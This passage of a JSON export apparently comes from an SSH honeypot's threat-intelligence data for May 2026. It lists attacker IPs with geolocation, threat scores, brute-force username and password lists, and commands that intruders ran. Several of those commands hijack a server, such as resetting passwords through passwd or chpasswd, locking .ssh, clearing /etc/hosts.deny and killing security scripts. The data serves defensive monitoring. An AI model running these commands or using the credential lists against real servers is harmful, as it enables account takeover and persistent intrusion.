        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"00000000\\nKJ5sxc00uITa\\nKJ5sxc00uITa\\n\"|passwd",
        "echo -e \"00000000\\nKJ5sxc00uITa\\nKJ5sxc00uITa\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Ramallah",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:20:29.565000+00:00",
        "last_seen_30d": "2026-05-11T15:11:30.361000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "37.211.58.22": {
      "attack_count": 184,
      "first_seen": "2026-05-16T23:38:10.239Z",
      "last_seen": "2026-05-17T00:08:13.581Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "vpn",
        "345gs5662d34",
        "christelle",
        "felipe",
        "ibrahim",
        "nginx",
        "radio",
        "shiny",
        "sistemas",
        "sonar",
        "system",
        "trader",
        "xw"
      ],
      "passwords_attempted": [
        "123",
        "0708228AsBs!",
        "123123123",
        "14521452",
        "1qazXSW@",
        "20192019",
        "2wsxZAQ!",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456..",
        "Jj123456@",
        "Root.123456",
        "christelle",
        "ds!@#123",
        "felipe",
        "ibrahim",
        "open123",
        "radio123",
        "sistemas",
        "sonar123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"vpn123\\nYerA1AbfOxyD\\nYerA1AbfOxyD\\n\"|passwd",
        "echo -e \"vpn123\\nYerA1AbfOxyD\\nYerA1AbfOxyD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 8781,
      "as_org": "Ooredoo Q.S.C.",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 240,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T23:38:10.239000+00:00",
        "last_seen_30d": "2026-05-17T00:09:21.584000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 184,
        "Suricata": 56
      }
    },
    "31.56.209.112": {
      "attack_count": 122,
      "first_seen": "2026-05-27T21:52:05.242Z",
      "last_seen": "2026-05-28T10:44:19.946Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "",
        "default",
        "ftp",
        "pi",
        "postgres",
        "test",
        "ubnt",
        "ubuntu"
      ],
      "passwords_attempted": [
        "",
        "root",
        "admin",
        "password",
        "user",
        "1234",
        "123456",
        "admin123",
        "admin1234",
        "default",
        "ftp",
        "postgres",
        "raspberry",
        "system",
        "test",
        "ubnt"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 209373,
      "as_org": "Swissnet LLC",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T21:52:05.242000+00:00",
        "last_seen_30d": "2026-05-28T10:54:02.738000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 122,
        "Suricata": 39
      }
    },
    "103.153.110.190": {
      "attack_count": 118,
      "first_seen": "2026-05-24T13:46:57.556Z",
      "last_seen": "2026-05-24T14:25:44.896Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "ftpuser",
        "guest",
        "hduser",
        "kevin"
      ],
      "passwords_attempted": [
        "123456",
        "123456789",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin12345",
        "Test1234",
        "guest123",
        "hadoop",
        "kevin123",
        "password01!",
        "qwert12345",
        "zxcvbnm123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:WRtBJlfEVMY6\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 140917,
      "as_org": "ERA TRADERS",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:46:57.556000+00:00",
        "last_seen_30d": "2026-05-24T14:26:47.439000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "148.113.160.5": {
      "attack_count": 108,
      "first_seen": "2026-05-07T13:53:19.158Z",
      "last_seen": "2026-05-31T17:46:13.158Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T13:53:19.158000+00:00",
        "last_seen_30d": "2026-05-31T17:47:22.506000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "135.181.160.223": {
      "attack_count": 96,
      "first_seen": "2026-05-09T22:42:05.074Z",
      "last_seen": "2026-05-18T03:46:04.911Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T22:42:05.074000+00:00",
        "last_seen_30d": "2026-05-18T03:47:09.176000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 48
      }
    },
    "180.243.143.21": {
      "attack_count": 80,
      "first_seen": "2026-05-22T10:40:54.882Z",
      "last_seen": "2026-05-22T20:29:51.863Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Tangerang",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:40:54.882000+00:00",
        "last_seen_30d": "2026-05-22T20:30:52.100000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 40
      }
    },
    "23.251.133.1": {
      "attack_count": 74,
      "first_seen": "2026-05-30T04:46:52.756Z",
      "last_seen": "2026-05-30T04:47:39.329Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
        "b'D\\x8aN\\xe4%'"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 1431",
        "Host: 172.105.186.117:23",
        "b'\\x1d\\x81I\\x01yv\\xf4\\x04\\x96#\\xf5\\xef\\x18\\x80%\\xd6H\\r\\xdc\\x91\\x1e\\xd6\\xcc\\xc5xX\\xf9\\x96!z;.\\xd2\\xd3\\xc7~\\x80+,\\x03S'"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T04:46:52.756000+00:00",
        "last_seen_30d": "2026-05-30T04:48:48.654000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 42
      }
    },
    "188.44.20.31": {
      "attack_count": 72,
      "first_seen": "2026-05-05T01:25:47.119Z",
      "last_seen": "2026-05-31T12:24:49.474Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Struga",
      "asn": 57374,
      "as_org": "Company for communications services A1 Makedonija DOOEL Skopje",
      "threat_score": 53.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:25:47.119000+00:00",
        "last_seen_30d": "2026-05-31T12:25:51.649000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "198.38.85.149": {
      "attack_count": 72,
      "first_seen": "2026-05-03T01:12:40.549Z",
      "last_seen": "2026-05-30T04:41:01.174Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Navi Mumbai",
      "asn": 199404,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:12:40.549000+00:00",
        "last_seen_30d": "2026-05-30T04:42:05.573000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "35.189.195.111": {
      "attack_count": 72,
      "first_seen": "2026-05-04T05:03:55.575Z",
      "last_seen": "2026-05-04T05:04:58.090Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7414",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T05:03:55.575000+00:00",
        "last_seen_30d": "2026-05-04T05:06:01.721000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "14.103.151.86": {
      "attack_count": 55,
      "first_seen": "2026-05-21T21:48:11.870Z",
      "last_seen": "2026-05-21T23:00:03.839Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "shilei",
        "wg"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "123456@a",
        "345gs5662d34",
        "India@2023",
        "Zh123456@",
        "p@ssw0rd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:48:11.870000+00:00",
        "last_seen_30d": "2026-05-21T23:10:44.086000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 55,
        "Suricata": 36
      }
    },
    "139.135.59.81": {
      "attack_count": 50,
      "first_seen": "2026-05-22T19:05:45.444Z",
      "last_seen": "2026-05-22T19:11:10.881Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:05:45.444000+00:00",
        "last_seen_30d": "2026-05-22T19:12:18.392000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.43.6": {
      "attack_count": 50,
      "first_seen": "2026-05-25T22:08:03.627Z",
      "last_seen": "2026-05-25T22:13:28.094Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Shakargarh",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T22:08:03.627000+00:00",
        "last_seen_30d": "2026-05-25T22:14:33.954000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.59.163": {
      "attack_count": 50,
      "first_seen": "2026-05-04T22:47:29.128Z",
      "last_seen": "2026-05-04T22:52:53.542Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T22:47:29.128000+00:00",
        "last_seen_30d": "2026-05-04T22:53:54.221000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "91.219.63.36": {
      "attack_count": 48,
      "first_seen": "2026-05-03T17:40:46.301Z",
      "last_seen": "2026-05-20T00:16:45.088Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 50673,
      "as_org": "Serverius Holding B.V.",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:40:46.301000+00:00",
        "last_seen_30d": "2026-05-20T00:17:51.004000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "103.126.174.235": {
      "attack_count": 44,
      "first_seen": "2026-05-21T07:06:24.534Z",
      "last_seen": "2026-05-21T13:44:51.289Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bandar Lampung",
      "asn": 138112,
      "as_org": "PT. Megarap Mitra Solusi",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:53:05.562000+00:00",
        "last_seen_30d": "2026-05-21T13:45:51.552000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 34
      }
    },
    "199.71.214.139": {
      "attack_count": 42,
      "first_seen": "2026-05-05T02:31:29.987Z",
      "last_seen": "2026-05-19T10:01:20.691Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.0,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:31:29.987000+00:00",
        "last_seen_30d": "2026-05-19T10:03:28.517000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 22
      }
    },
    "45.175.123.254": {
      "attack_count": 42,
      "first_seen": "2026-05-27T13:22:50.705Z",
      "last_seen": "2026-05-31T20:15:39.801Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campina Grande do Sul",
      "asn": 268911,
      "as_org": "ESMILENE GOIS FRANCA - ME",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T13:22:50.705000+00:00",
        "last_seen_30d": "2026-05-31T20:16:42.248000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "185.255.100.242": {
      "attack_count": 36,
      "first_seen": "2026-05-03T04:10:10.364Z",
      "last_seen": "2026-05-31T08:01:32.946Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 52.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T04:10:10.364000+00:00",
        "last_seen_30d": "2026-05-31T08:02:33.270000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "58.168.32.135": {
      "attack_count": 32,
      "first_seen": "2026-05-10T05:34:31.089Z",
      "last_seen": "2026-05-29T12:16:41.718Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Brisbane",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 47.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.8,
        "persistence": 16.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 20,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:33:06.720000+00:00",
        "last_seen_30d": "2026-05-29T15:12:12.109000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Cowrie": 32
      }
    },
    "223.123.124.106": {
      "attack_count": 20,
      "first_seen": "2026-05-15T21:08:56.524Z",
      "last_seen": "2026-05-15T21:11:05.997Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T21:08:56.524000+00:00",
        "last_seen_30d": "2026-05-15T21:12:13.394000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "109.172.8.83": {
      "attack_count": 18,
      "first_seen": "2026-05-20T19:15:37.974Z",
      "last_seen": "2026-05-21T03:44:55.204Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "sftp_user"
      ],
      "passwords_attempted": [
